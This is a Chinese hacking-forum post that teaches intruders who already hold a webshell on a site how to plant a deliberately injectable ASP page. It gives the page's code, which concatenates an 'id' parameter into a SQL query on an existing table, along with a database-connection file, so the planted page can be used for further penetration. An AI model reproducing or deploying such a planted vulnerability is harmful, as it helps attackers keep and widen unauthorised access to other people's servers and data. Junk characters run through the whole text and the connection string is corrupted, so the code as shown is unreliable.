找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2220|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
; P! p# L9 z% L; \4 z9 g; h! I; _4 Q. P0 m8 ~/ o
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息& g4 y8 Q% C5 ^6 M# n! b

6 m" f; N# l8 l/ L2 c) O" L这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!3 U" [) L/ r7 V
/ T; f2 {! {8 _8 X4 S
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
+ n3 y5 L9 o0 I) s# U4 e/ ?6 P; X7 R
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表# x! e0 r4 o) x! ?
' f0 h) k5 G0 F8 w$ S
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
/ t( G) i) P9 _" G' N, e) h- h
2 P4 U. c# ~; k! S程序代码% h! ?6 t2 x& P) z6 a0 d
<!--#include file="xx.asp"-->7 n5 u( I7 v! E9 ^
<%: G4 y: U1 `/ b) n8 Y6 S
set rs=server.createobject("ADODB.recordset")5 a; e& `/ E) C7 L1 }% Q) K
id = request("id")
+ ~* u  D0 E  P; o# D  KstrSQL = "select * from admin where id=" & id
& F8 g2 x2 {4 N6 a* a6 q0 `' B" j+ Frs.open strSQL,conn,1,3
( |. J. L0 q  {# Trs.close+ \$ X* `- k# G! }
%>" Z$ e; W( c. J
! _6 d  }+ Y8 u. O/ I( y/ X
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
& Y" u: }. L7 g3 N6 q5 @! U1 _6 \8 r$ Y! }
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
/ F, ]4 o# Y+ T# R* |0 j9 e9 A0 v9 O: d; i2 e" f
然后就要构造一个连接数据库的文件了,代码如下:
* E0 k1 T. Q3 }程序代码
1 x0 X% c( S" c  D0 ~<%        
1 D1 S% G+ b) v5 i: o& C  D1 R( XstrSQLServerName = "000.000.000.000"     '服务器名称或地址; }6 B7 i+ O1 @0 w& L% q- K/ }0 y0 u
strSQLDBUserName = "sqlname"         '数据库帐号5 L2 V' b$ k2 m; o" z
strSQLDBPassword = "sqlpass"         '数据库密码" m. O" d. T' O
strSQLDBName = "sqldataname"           '数据库名称
5 a6 k- B" X2 i8 i/ S2 D; gSet conn = Server.CreateObject("ADODB.Connection")/ n8 P; `9 V2 N' P5 z9 [$ `
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"9 V9 a. t6 x1 h
conn.open strCon
% l1 a; s& _- U# v( ~& b: H/ i%>
: x  l* N% a8 d) ?! `( J! y& `. G  Y- G' r1 b4 z! T- E0 s: d% N# n
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,4 A" L/ d% O3 X1 y# i, k% f# ]
) P! \1 o& x4 a1 z! q: ~1 a2 v5 l& P
就这样,正常情况下,就OK了,伪造成功……4 }2 q) k( C6 W- L& ?9 N/ m

; K- x4 n9 B$ F) i6 c           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表